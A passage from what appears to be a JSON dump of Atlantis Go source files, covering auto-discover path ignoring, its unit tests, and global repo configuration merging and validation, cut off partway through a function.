    "path": "server/core/config/valid/autodiscover.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage valid\n\nimport \"github.com/bmatcuk/doublestar/v4\"\n\n// AutoDiscoverMode enum\ntype AutoDiscoverMode string\n\nconst (\n\tAutoDiscoverEnabledMode  AutoDiscoverMode = \"enabled\"\n\tAutoDiscoverDisabledMode AutoDiscoverMode = \"disabled\"\n\tAutoDiscoverAutoMode     AutoDiscoverMode = \"auto\"\n)\n\ntype AutoDiscover struct {\n\tMode        AutoDiscoverMode\n\tIgnorePaths []string\n}\n\nfunc (a AutoDiscover) IsPathIgnored(path string) bool {\n\tif a.IgnorePaths == nil {\n\t\treturn false\n\t}\n\tfor i := 0; i < len(a.IgnorePaths); i++ {\n\t\t// Per documentation https://pkg.go.dev/github.com/bmatcuk/doublestar, if you run ValidatePattern()\n\t\t// against a pattern, which we do, you can run MatchUnvalidated for a slight performance gain,\n\t\t// and also no need to explicitly check for an error\n\t\tif doublestar.MatchUnvalidated(a.IgnorePaths[i], path) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "server/core/config/valid/autodiscover_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage valid_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestConfig_IsPathIgnoredForAutoDiscover(t *testing.T) {\n\tcases := []struct {\n\t\tdescription  string\n\t\tautoDiscover valid.AutoDiscover\n\t\tpath         string\n\t\texpIgnored   bool\n\t}{\n\t\t{\n\t\t\tdescription:  \"auto discover configured, but not path\",\n\t\t\tautoDiscover: valid.AutoDiscover{},\n\t\t\tpath:         \"foo\",\n\t\t\texpIgnored:   false,\n\t\t},\n\t\t{\n\t\t\tdescription: \"paths do not match pattern\",\n\t\t\tautoDiscover: valid.AutoDiscover{\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"bar\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tpath:       \"foo\",\n\t\t\texpIgnored: false,\n\t\t},\n\t\t{\n\t\t\tdescription: \"path does match pattern\",\n\t\t\tautoDiscover: valid.AutoDiscover{\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"fo?\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tpath:       \"foo\",\n\t\t\texpIgnored: true,\n\t\t},\n\t\t{\n\t\t\tdescription: \"one path matches pattern, another doesn't\",\n\t\t\tautoDiscover: valid.AutoDiscover{\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"fo*\",\n\t\t\t\t\t\"ba*\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tpath:       \"foo\",\n\t\t\texpIgnored: true,\n\t\t},\n\t\t{\n\t\t\tdescription: \"long path does match pattern\",\n\t\t\tautoDiscover: valid.AutoDiscover{\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"foo/*/baz\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tpath:       \"foo/bar/baz\",\n\t\t\texpIgnored: true,\n\t\t},\n\t\t{\n\t\t\tdescription: \"long path does not match pattern\",\n\t\t\tautoDiscover: valid.AutoDiscover{\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"foo/*/baz\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tpath:       \"foo/bar/boo\",\n\t\t\texpIgnored: false,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\n\t\t\tignored := c.autoDiscover.IsPathIgnored(c.path)\n\t\t\tEquals(t, c.expIgnored, ignored)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/valid/global_cfg.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage valid\n\nimport (\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\nconst MergeableCommandReq = \"mergeable\"\nconst ApprovedCommandReq = \"approved\"\nconst UnDivergedCommandReq = \"undiverged\"\nconst PoliciesPassedCommandReq = \"policies_passed\"\nconst PlanRequirementsKey = \"plan_requirements\"\nconst ApplyRequirementsKey = \"apply_requirements\"\nconst ImportRequirementsKey = \"import_requirements\"\nconst WorkflowKey = \"workflow\"\nconst AllowedOverridesKey = \"allowed_overrides\"\nconst AllowCustomWorkflowsKey = \"allow_custom_workflows\"\nconst DefaultWorkflowName = \"default\"\nconst DeleteSourceBranchOnMergeKey = \"delete_source_branch_on_merge\"\nconst RepoLockingKey = \"repo_locking\"\nconst RepoLocksKey = \"repo_locks\"\nconst PolicyCheckKey = \"policy_check\"\nconst CustomPolicyCheckKey = \"custom_policy_check\"\nconst AutoDiscoverKey = \"autodiscover\"\nconst SilencePRCommentsKey = \"silence_pr_comments\"\n\nvar AllowedSilencePRComments = []string{\"plan\", \"apply\"}\n\n// DefaultAtlantisFile is the default name of the config file for each repo.\nconst DefaultAtlantisFile = \"atlantis.yaml\"\n\n// NonOverridableApplyReqs will get applied across all \"repos\" in the server side config.\n// If repo config is allowed overrides, they can override this.\n// TODO: Make this more customizable, not everyone wants this rigid workflow\n// maybe something along the lines of defining overridable/non-overridable apply\n// requirements in the config and removing the flag to enable policy checking.\nvar NonOverridableApplyReqs = []string{PoliciesPassedCommandReq}\n\n// GlobalCfg is the final parsed version of server-side repo config.\ntype GlobalCfg struct {\n\tRepos      []Repo\n\tWorkflows  map[string]Workflow\n\tPolicySets PolicySets\n\tMetrics    Metrics\n\tTeamAuthz  TeamAuthz\n}\n\ntype Metrics struct {\n\tStatsd     *Statsd\n\tPrometheus *Prometheus\n}\n\ntype Statsd struct {\n\tPort string\n\tHost string\n}\n\ntype Prometheus struct {\n\tEndpoint string\n}\n\n// Repo is the final parsed version of server-side repo config.\ntype Repo struct {\n\t// ID is the exact match id of this config.\n\t// If IDRegex is set then this will be empty.\n\tID string\n\t// IDRegex is the regex match for this config.\n\t// If ID is set then this will be nil.\n\tIDRegex                   *regexp.Regexp\n\tBranchRegex               *regexp.Regexp\n\tRepoConfigFile            string\n\tPlanRequirements          []string\n\tApplyRequirements         []string\n\tImportRequirements        []string\n\tPreWorkflowHooks          []*WorkflowHook\n\tWorkflow                  *Workflow\n\tPostWorkflowHooks         []*WorkflowHook\n\tAllowedWorkflows          []string\n\tAllowedOverrides          []string\n\tAllowCustomWorkflows      *bool\n\tDeleteSourceBranchOnMerge *bool\n\tRepoLocking               *bool\n\tRepoLocks                 *RepoLocks\n\tPolicyCheck               *bool\n\tCustomPolicyCheck         *bool\n\tAutoDiscover              *AutoDiscover\n\tSilencePRComments         []string\n}\n\ntype MergedProjectCfg struct {\n\tPlanRequirements          []string\n\tApplyRequirements         []string\n\tImportRequirements        []string\n\tWorkflow                  Workflow\n\tAllowedWorkflows          []string\n\tDependsOn                 []string\n\tRepoRelDir                string\n\tWorkspace                 string\n\tName                      string\n\tAutoplanEnabled           bool\n\tAutoMergeDisabled         bool\n\tAutoMergeMethod           string\n\tTerraformDistribution     *string\n\tTerraformVersion          *version.Version\n\tRepoCfgVersion            int\n\tPolicySets                PolicySets\n\tDeleteSourceBranchOnMerge bool\n\tExecutionOrderGroup       int\n\tRepoLocks                 RepoLocks\n\tPolicyCheck               bool\n\tCustomPolicyCheck         bool\n\tSilencePRComments         []string\n}\n\n// WorkflowHook is a map of custom run commands to run before or after workflows.\ntype WorkflowHook struct {\n\tStepName        string\n\tRunCommand      string\n\tStepDescription string\n\tShell           string\n\tShellArgs       string\n\tCommands        string\n}\n\n// DefaultApplyStage is the Atlantis default apply stage.\nvar DefaultApplyStage = Stage{\n\tSteps: []Step{\n\t\t{\n\t\t\tStepName: \"apply\",\n\t\t},\n\t},\n}\n\n// DefaultPolicyCheckStage is the Atlantis default policy check stage.\nvar DefaultPolicyCheckStage = Stage{\n\tSteps: []Step{\n\t\t{\n\t\t\tStepName: \"show\",\n\t\t},\n\t\t{\n\t\t\tStepName: \"policy_check\",\n\t\t},\n\t},\n}\n\n// DefaultPlanStage is the Atlantis default plan stage.\nvar DefaultPlanStage = Stage{\n\tSteps: []Step{\n\t\t{\n\t\t\tStepName: \"init\",\n\t\t},\n\t\t{\n\t\t\tStepName: \"plan\",\n\t\t},\n\t},\n}\n\n// DefaultImportStage is the Atlantis default import stage.\nvar DefaultImportStage = Stage{\n\tSteps: []Step{\n\t\t{\n\t\t\tStepName: \"init\",\n\t\t},\n\t\t{\n\t\t\tStepName: \"import\",\n\t\t},\n\t},\n}\n\n// DefaultStateRmStage is the Atlantis default state_rm stage.\nvar DefaultStateRmStage = Stage{\n\tSteps: []Step{\n\t\t{\n\t\t\tStepName: \"init\",\n\t\t},\n\t\t{\n\t\t\tStepName: \"state_rm\",\n\t\t},\n\t},\n}\n\ntype GlobalCfgArgs struct {\n\tRepoConfigFile string\n\t// No longer a user option as of https://github.com/runatlantis/atlantis/pull/3911,\n\t// but useful for tests to set to true to not require enumeration of allowed settings\n\t// on the repo side\n\tAllowAllRepoSettings bool\n\tPolicyCheckEnabled   bool\n\tPreWorkflowHooks     []*WorkflowHook\n\tPostWorkflowHooks    []*WorkflowHook\n}\n\nfunc NewGlobalCfgFromArgs(args GlobalCfgArgs) GlobalCfg {\n\tdefaultWorkflow := Workflow{\n\t\tName:        DefaultWorkflowName,\n\t\tApply:       DefaultApplyStage,\n\t\tPlan:        DefaultPlanStage,\n\t\tPolicyCheck: DefaultPolicyCheckStage,\n\t\tImport:      DefaultImportStage,\n\t\tStateRm:     DefaultStateRmStage,\n\t}\n\t// Must construct slices here instead of using a `var` declaration because\n\t// we treat nil slices differently.\n\tapplyReqs := []string{}\n\timportReqs := []string{}\n\tplanReqs := []string{}\n\tallowedOverrides := []string{}\n\tallowedWorkflows := []string{}\n\tpolicyCheck := false\n\tif args.PolicyCheckEnabled {\n\t\tapplyReqs = append(applyReqs, PoliciesPassedCommandReq)\n\t\tpolicyCheck = true\n\t}\n\n\tallowCustomWorkflows := false\n\tdeleteSourceBranchOnMerge := false\n\trepoLocks := DefaultRepoLocks\n\tcustomPolicyCheck := false\n\tautoDiscover := AutoDiscover{Mode: AutoDiscoverAutoMode}\n\tvar silencePRComments []string\n\tif args.AllowAllRepoSettings {\n\t\tallowedOverrides = []string{PlanRequirementsKey, ApplyRequirementsKey, ImportRequirementsKey, WorkflowKey, DeleteSourceBranchOnMergeKey, RepoLockingKey, RepoLocksKey, PolicyCheckKey, SilencePRCommentsKey}\n\t\tallowCustomWorkflows = true\n\t}\n\n\treturn GlobalCfg{\n\t\tRepos: []Repo{\n\t\t\t{\n\t\t\t\tIDRegex:                   regexp.MustCompile(\".*\"),\n\t\t\t\tBranchRegex:               regexp.MustCompile(\".*\"),\n\t\t\t\tRepoConfigFile:            args.RepoConfigFile,\n\t\t\t\tPlanRequirements:          planReqs,\n\t\t\t\tApplyRequirements:         applyReqs,\n\t\t\t\tImportRequirements:        importReqs,\n\t\t\t\tPreWorkflowHooks:          args.PreWorkflowHooks,\n\t\t\t\tWorkflow:                  &defaultWorkflow,\n\t\t\t\tPostWorkflowHooks:         args.PostWorkflowHooks,\n\t\t\t\tAllowedWorkflows:          allowedWorkflows,\n\t\t\t\tAllowedOverrides:          allowedOverrides,\n\t\t\t\tAllowCustomWorkflows:      &allowCustomWorkflows,\n\t\t\t\tDeleteSourceBranchOnMerge: &deleteSourceBranchOnMerge,\n\t\t\t\tRepoLocks:                 &repoLocks,\n\t\t\t\tPolicyCheck:               &policyCheck,\n\t\t\t\tCustomPolicyCheck:         &customPolicyCheck,\n\t\t\t\tAutoDiscover:              &autoDiscover,\n\t\t\t\tSilencePRComments:         silencePRComments,\n\t\t\t},\n\t\t},\n\t\tWorkflows: map[string]Workflow{\n\t\t\tDefaultWorkflowName: defaultWorkflow,\n\t\t},\n\t\tTeamAuthz: TeamAuthz{\n\t\t\tArgs: make([]string, 0),\n\t\t},\n\t}\n}\n\n// IDMatches returns true if the repo ID otherID matches this config.\nfunc (r Repo) IDMatches(otherID string) bool {\n\tif r.ID != \"\" {\n\t\treturn r.ID == otherID\n\t}\n\treturn r.IDRegex.MatchString(otherID)\n}\n\n// BranchMatches returns true if the branch other matches a branch regex (if preset).\nfunc (r Repo) BranchMatches(other string) bool {\n\tif r.BranchRegex == nil {\n\t\treturn true\n\t}\n\treturn r.BranchRegex.MatchString(other)\n}\n\n// IDString returns a string representation of this config.\nfunc (r Repo) IDString() string {\n\tif r.ID != \"\" {\n\t\treturn r.ID\n\t}\n\treturn \"/\" + r.IDRegex.String() + \"/\"\n}\n\n// MergeProjectCfg merges proj and rCfg with the global config to return a\n// final config. It assumes that all configs have been validated.\nfunc (g GlobalCfg) MergeProjectCfg(log logging.SimpleLogging, repoID string, proj Project, rCfg RepoCfg) MergedProjectCfg {\n\tlog.Debug(\"MergeProjectCfg started\")\n\tplanReqs, applyReqs, importReqs, workflow, allowedOverrides, allowCustomWorkflows, deleteSourceBranchOnMerge, repoLocks, policyCheck, customPolicyCheck, _, silencePRComments := g.getMatchingCfg(log, repoID)\n\t// If repos are allowed to override certain keys then override them.\n\tfor _, key := range allowedOverrides {\n\t\tswitch key {\n\t\tcase PlanRequirementsKey:\n\t\t\tif proj.PlanRequirements != nil {\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo settings: [%s]\", PlanRequirementsKey, strings.Join(proj.PlanRequirements, \",\"))\n\t\t\t\tplanReqs = proj.PlanRequirements\n\t\t\t}\n\t\tcase ApplyRequirementsKey:\n\t\t\tif proj.ApplyRequirements != nil {\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo settings: [%s]\", ApplyRequirementsKey, strings.Join(proj.ApplyRequirements, \",\"))\n\t\t\t\tapplyReqs = proj.ApplyRequirements\n\n\t\t\t\t// Preserve policies_passed req if policy check is enabled\n\t\t\t\tif policyCheck {\n\t\t\t\t\tapplyReqs = append(applyReqs, PoliciesPassedCommandReq)\n\t\t\t\t}\n\t\t\t}\n\t\tcase ImportRequirementsKey:\n\t\t\tif proj.ImportRequirements != nil {\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo settings: [%s]\", ImportRequirementsKey, strings.Join(proj.ImportRequirements, \",\"))\n\t\t\t\timportReqs = proj.ImportRequirements\n\t\t\t}\n\t\tcase WorkflowKey:\n\t\t\tif proj.WorkflowName != nil {\n\t\t\t\t// We iterate over the global workflows first and the repo\n\t\t\t\t// workflows second so that repo workflows override. This is\n\t\t\t\t// safe because at this point we know if a repo is allowed to\n\t\t\t\t// define its own workflow. We also know that a workflow will\n\t\t\t\t// exist with this name due to earlier validation.\n\t\t\t\tname := *proj.WorkflowName\n\t\t\t\tfor k, v := range g.Workflows {\n\t\t\t\t\tif k == name {\n\t\t\t\t\t\tworkflow = v\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif allowCustomWorkflows {\n\t\t\t\t\tfor k, v := range rCfg.Workflows {\n\t\t\t\t\t\tif k == name {\n\t\t\t\t\t\t\tworkflow = v\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo-specified workflow: %q\", WorkflowKey, workflow.Name)\n\t\t\t}\n\t\tcase DeleteSourceBranchOnMergeKey:\n\t\t\t//We check whether the server configured value and repo-root level\n\t\t\t//config is different. If it is then we change to the more granular.\n\t\t\tif rCfg.DeleteSourceBranchOnMerge != nil && deleteSourceBranchOnMerge != *rCfg.DeleteSourceBranchOnMerge {\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo settings: [%t]\", DeleteSourceBranchOnMergeKey, rCfg.DeleteSourceBranchOnMerge)\n\t\t\t\tdeleteSourceBranchOnMerge = *rCfg.DeleteSourceBranchOnMerge\n\t\t\t}\n\t\t\t//Then we check whether the more granular project based config is\n\t\t\t//different. If it is then we set it.\n\t\t\tif proj.DeleteSourceBranchOnMerge != nil && deleteSourceBranchOnMerge != *proj.DeleteSourceBranchOnMerge {\n\t\t\t\tlog.Debug(\"overriding repo-root-defined %s with repo settings: [%t]\", DeleteSourceBranchOnMergeKey, *proj.DeleteSourceBranchOnMerge)\n\t\t\t\tdeleteSourceBranchOnMerge = *proj.DeleteSourceBranchOnMerge\n\t\t\t}\n\t\t\tlog.Debug(\"merged deleteSourceBranchOnMerge: [%t]\", deleteSourceBranchOnMerge)\n\t\tcase RepoLockingKey:\n\t\t\tif proj.RepoLocking != nil {\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo settings: [%t]\", RepoLockingKey, *proj.RepoLocking)\n\t\t\t\tif *proj.RepoLocking && repoLocks.Mode == RepoLocksDisabledMode {\n\t\t\t\t\trepoLocks.Mode = DefaultRepoLocksMode\n\t\t\t\t} else if !*proj.RepoLocking {\n\t\t\t\t\trepoLocks.Mode = RepoLocksDisabledMode\n\t\t\t\t}\n\t\t\t}\n\t\tcase RepoLocksKey:\n\t\t\t//We check whether the server configured value and repo-root level\n\t\t\t//config is different. If it is then we change to the more granular.\n\t\t\tif rCfg.RepoLocks != nil && repoLocks.Mode != rCfg.RepoLocks.Mode {\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo settings: [%#v]\", RepoLocksKey, rCfg.RepoLocks)\n\t\t\t\trepoLocks = *rCfg.RepoLocks\n\t\t\t}\n\t\t\t//Then we check whether the more granular project based config is\n\t\t\t//different. If it is then we set it.\n\t\t\tif proj.RepoLocks != nil && repoLocks.Mode != proj.RepoLocks.Mode {\n\t\t\t\tlog.Debug(\"overriding repo-root-defined %s with repo settings: [%#v]\", RepoLocksKey, *proj.RepoLocks)\n\t\t\t\trepoLocks = *proj.RepoLocks\n\t\t\t}\n\t\t\tlog.Debug(\"merged repoLocks: [%#v]\", repoLocks)\n\t\tcase PolicyCheckKey:\n\t\t\tif proj.PolicyCheck != nil {\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo settings: [%t]\", PolicyCheckKey, *proj.PolicyCheck)\n\t\t\t\tpolicyCheck = *proj.PolicyCheck\n\t\t\t}\n\t\tcase CustomPolicyCheckKey:\n\t\t\tif proj.CustomPolicyCheck != nil {\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo settings: [%t]\", CustomPolicyCheckKey, *proj.CustomPolicyCheck)\n\t\t\t\tcustomPolicyCheck = *proj.CustomPolicyCheck\n\t\t\t}\n\t\tcase SilencePRCommentsKey:\n\t\t\tif proj.SilencePRComments != nil {\n\t\t\t\tlog.Debug(\"overriding repo-root-defined %s with repo settings: [%t]\", SilencePRCommentsKey, strings.Join(proj.SilencePRComments, \",\"))\n\t\t\t\tsilencePRComments = proj.SilencePRComments\n\t\t\t} else if rCfg.SilencePRComments != nil {\n\t\t\t\tlog.Debug(\"overriding server-defined %s with repo settings: [%s]\", SilencePRCommentsKey, strings.Join(rCfg.SilencePRComments, \",\"))\n\t\t\t\tsilencePRComments = rCfg.SilencePRComments\n\t\t\t}\n\t\t}\n\t\tlog.Debug(\"MergeProjectCfg completed\")\n\t}\n\n\tlog.Debug(\"final settings: %s: [%s], %s: [%s], %s: [%s], %s: %s, %s: %t, %s: %s, %s: %t, %s: %t, %s: [%s]\",\n\t\tPlanRequirementsKey, strings.Join(planReqs, \",\"),\n\t\tApplyRequirementsKey, strings.Join(applyReqs, \",\"),\n\t\tImportRequirementsKey, strings.Join(importReqs, \",\"),\n\t\tWorkflowKey, workflow.Name,\n\t\tDeleteSourceBranchOnMergeKey, deleteSourceBranchOnMerge,\n\t\tRepoLockingKey, repoLocks.Mode,\n\t\tPolicyCheckKey, policyCheck,\n\t\tCustomPolicyCheckKey, customPolicyCheck,\n\t\tSilencePRCommentsKey, strings.Join(silencePRComments, \",\"),\n\t)\n\n\treturn MergedProjectCfg{\n\t\tPlanRequirements:          planReqs,\n\t\tApplyRequirements:         applyReqs,\n\t\tImportRequirements:        importReqs,\n\t\tWorkflow:                  workflow,\n\t\tRepoRelDir:                proj.Dir,\n\t\tWorkspace:                 proj.Workspace,\n\t\tDependsOn:                 proj.DependsOn,\n\t\tName:                      proj.GetName(),\n\t\tAutoplanEnabled:           proj.Autoplan.Enabled,\n\t\tTerraformDistribution:     proj.TerraformDistribution,\n\t\tTerraformVersion:          proj.TerraformVersion,\n\t\tRepoCfgVersion:            rCfg.Version,\n\t\tPolicySets:                g.PolicySets,\n\t\tDeleteSourceBranchOnMerge: deleteSourceBranchOnMerge,\n\t\tExecutionOrderGroup:       proj.ExecutionOrderGroup,\n\t\tRepoLocks:                 repoLocks,\n\t\tPolicyCheck:               policyCheck,\n\t\tCustomPolicyCheck:         customPolicyCheck,\n\t\tSilencePRComments:         silencePRComments,\n\t}\n}\n\n// DefaultProjCfg returns the default project config for all projects under the\n// repo with id repoID. It is used when there is no repo config.\nfunc (g GlobalCfg) DefaultProjCfg(log logging.SimpleLogging, repoID string, repoRelDir string, workspace string) MergedProjectCfg {\n\tlog.Debug(\"building config based on server-side config\")\n\tplanReqs, applyReqs, importReqs, workflow, _, _, deleteSourceBranchOnMerge, repoLocks, policyCheck, customPolicyCheck, _, silencePRComments := g.getMatchingCfg(log, repoID)\n\treturn MergedProjectCfg{\n\t\tPlanRequirements:          planReqs,\n\t\tApplyRequirements:         applyReqs,\n\t\tImportRequirements:        importReqs,\n\t\tWorkflow:                  workflow,\n\t\tRepoRelDir:                repoRelDir,\n\t\tWorkspace:                 workspace,\n\t\tName:                      \"\",\n\t\tAutoplanEnabled:           DefaultAutoPlanEnabled,\n\t\tTerraformDistribution:     nil,\n\t\tTerraformVersion:          nil,\n\t\tPolicySets:                g.PolicySets,\n\t\tDeleteSourceBranchOnMerge: deleteSourceBranchOnMerge,\n\t\tRepoLocks:                 repoLocks,\n\t\tPolicyCheck:               policyCheck,\n\t\tCustomPolicyCheck:         customPolicyCheck,\n\t\tSilencePRComments:         silencePRComments,\n\t}\n}\n\n// RepoAutoDiscoverCfg returns the AutoDiscover config from the global config\n// for the repo with id repoID. If no matching repo is found or there is no\n// AutoDiscover config then this function returns nil.\nfunc (g GlobalCfg) RepoAutoDiscoverCfg(repoID string) *AutoDiscover {\n\trepo := g.MatchingRepo(repoID)\n\tif repo != nil {\n\t\treturn repo.AutoDiscover\n\t}\n\treturn nil\n}\n\n// ValidateRepoCfg validates that rCfg for repo with id repoID is valid based\n// on our global config.\nfunc (g GlobalCfg) ValidateRepoCfg(rCfg RepoCfg, repoID string) error {\n\tmapContainsF := func(m map[string]Workflow, key string) bool {\n\t\tfor k := range m {\n\t\t\tif k == key {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\treturn false\n\t}\n\n\t// Check allowed overrides.\n\tvar allowedOverrides []string\n\tfor _, repo := range g.Repos {\n\t\tif repo.IDMatches(repoID) {\n\t\t\tif repo.AllowedOverrides != nil {\n\t\t\t\tallowedOverrides = repo.AllowedOverrides\n\t\t\t}\n\t\t}\n\t}\n\tfor _, p := range rCfg.Projects {\n\t\tif p.WorkflowName != nil && !utils.SlicesContains(allowedOverrides, WorkflowKey) {\n\t\t\treturn fmt.Errorf(\"repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'\", WorkflowKey, AllowedOverridesKey, WorkflowKey)\n\t\t}\n\t\tif p.ApplyRequirements != nil && !utils.SlicesContains(allowedOverrides, ApplyRequirementsKey) {\n\t\t\treturn fmt.Errorf(\"repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'\", ApplyRequirementsKey, AllowedOverridesKey, ApplyRequirementsKey)\n\t\t}\n\t\tif p.PlanRequirements != nil && !utils.SlicesContains(allowedOverrides, PlanRequirementsKey) {\n\t\t\treturn fmt.Errorf(\"repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'\", PlanRequirementsKey, AllowedOverridesKey, PlanRequirementsKey)\n\t\t}\n\t\tif p.ImportRequirements != nil && !utils.SlicesContains(allowedOverrides, ImportRequirementsKey) {\n\t\t\treturn fmt.Errorf(\"repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'\", ImportRequirementsKey, AllowedOverridesKey, ImportRequirementsKey)\n\t\t}\n\t\tif p.DeleteSourceBranchOnMerge != nil && !utils.SlicesContains(allowedOverrides, DeleteSourceBranchOnMergeKey) {\n\t\t\treturn fmt.Errorf(\"repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'\", DeleteSourceBranchOnMergeKey, AllowedOverridesKey, DeleteSourceBranchOnMergeKey)\n\t\t}\n\t\tif p.RepoLocking != nil && !utils.SlicesContains(allowedOverrides, RepoLockingKey) {\n\t\t\treturn fmt.Errorf(\"repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'\", RepoLockingKey, AllowedOverridesKey, RepoLockingKey)\n\t\t}\n\t\tif p.RepoLocks != nil && !utils.SlicesContains(allowedOverrides, RepoLocksKey) {\n\t\t\treturn fmt.Errorf(\"repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'\", RepoLocksKey, AllowedOverridesKey, RepoLocksKey)\n\t\t}\n\t\tif p.CustomPolicyCheck != nil && !utils.SlicesContains(allowedOverrides, CustomPolicyCheckKey) {\n\t\t\treturn fmt.Errorf(\"repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'\", CustomPolicyCheckKey, AllowedOverridesKey, CustomPolicyCheckKey)\n\t\t}\n\t\tif p.SilencePRComments != nil {\n\t\t\tif !utils.SlicesContains(allowedOverrides, SilencePRCommentsKey) {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'\",\n\t\t\t\t\tSilencePRCommentsKey,\n\t\t\t\t\tAllowedOverridesKey,\n\t\t\t\t\tSilencePRCommentsKey,\n\t\t\t\t)\n\t\t\t}\n\t\t\tfor _, silenceStage := range p.SilencePRComments {\n\t\t\t\tif !utils.SlicesContains(AllowedSilencePRComments, silenceStage) {\n\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\"repo config '%s' key value of '%s' is not supported, supported values are [%s]\",\n\t\t\t\t\t\tSilencePRCommentsKey,\n\t\t\t\t\t\tsilenceStage,\n\t\t\t\t\t\tstrings.Join(AllowedSilencePRComments, \", \"),\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check custom workflows.\n\tvar allowCustomWorkflows bool\n\tfor _, repo := range g.Repos {\n\t\tif repo.IDMatches(repoID) {\n\t\t\tif repo.AllowCustomWorkflows != nil {\n\t\t\t\tallowCustomWorkflows = *repo.AllowCustomWorkflows\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(rCfg.Workflows) > 0 && !allowCustomWorkflows {\n\t\treturn fmt.Errorf(\"repo config not allowed to define custom workflows: server-side config needs '%s: true'\", AllowCustomWorkflowsKey)\n\t}\n\n\t// Check if the repo has set a workflow name that doesn't exist.\n\tfor _, p := range rCfg.Projects {\n\t\tif p.WorkflowName != nil {\n\t\t\tname := *p.WorkflowName\n\t\t\tif !mapContainsF(rCfg.Workflows, name) && !mapContainsF(g.Workflows, name) {\n\t\t\t\treturn fmt.Errorf(\"workflow %q is not defined anywhere\", name)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check workflow is allowed\n\tvar allowedWorkflows []string\n\tfor _, repo := range g.Repos {\n\t\tif repo.IDMatches(repoID) {\n\n\t\t\tif repo.AllowedWorkflows != nil {\n\t\t\t\tallowedWorkflows = repo.AllowedWorkflows\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, p := range rCfg.Projects {\n\t\t// default is always allowed\n\t\tif p.WorkflowName != nil && len(allowedWorkflows) != 0 {\n\t\t\tname := *p.WorkflowName\n\t\t\tif allowCustomWorkflows {\n\t\t\t\t// If we allow CustomWorkflows we need to check that workflow name is defined inside repo and not global.\n\t\t\t\tif mapContainsF(rCfg.Workflows, name) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !utils.SlicesContains(allowedWorkflows, name) {\n\t\t\t\treturn fmt.Errorf(\"workflow '%s' is not allowed for this repo\", name)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// getMatchingCfg returns the key settings for repoID.\nfunc (g GlobalCfg) getMatchingCfg(log logging.SimpleLogging, repoID string) (planReqs []string, applyReqs []string, importReqs []string, workflow Workflow, allowedOverrides []string, allowCustomWorkflows bool, deleteSourceBranchOnMerge bool, repoLocks RepoLocks, policyCheck bool, customPolicyCheck bool, autoDiscover AutoDiscover, silencePRComments []string) {\n\ttoLog := make(map[string]string)\n\ttraceF := func(repoIdx int, repoID string, key string, val any) string {\n\t\tfrom := \"default server config\"\n\t\tif repoIdx > 0 {\n\t\t\tfrom = fmt.Sprintf(\"repos[%d], id: %s\", repoIdx, repoID)\n\t\t}\n\t\tvar valStr string\n\t\tswitch v := val.(type) {\n\t\tcase string:\n\t\t\tvalStr = fmt.Sprintf(\"%q\", v)\n\t\tcase []string:\n\t\t\tvalStr = fmt.Sprintf(\"[%s]\", strings.Join(v, \",\"))\n\t\tcase bool:\n\t\t\tvalStr = fmt.Sprintf(\"%t\", v)\n\t\tdefault:\n\t\t\tvalStr = \"this is a bug\"\n\t\t}\n\n\t\treturn fmt.Sprintf(\"setting %s: %s from %s\", key, valStr, from)\n\t}\n\n\t// Can't use raw.DefaultAutoDiscoverMode() because of an import cycle. Should refactor to avoid that.\n\tautoDiscover = AutoDiscover{Mode: AutoDiscoverAutoMode}\n\trepoLocking := true\n\trepoLocks = DefaultRepoLocks\n\n\tfor _, key := range []string{PlanRequirementsKey, 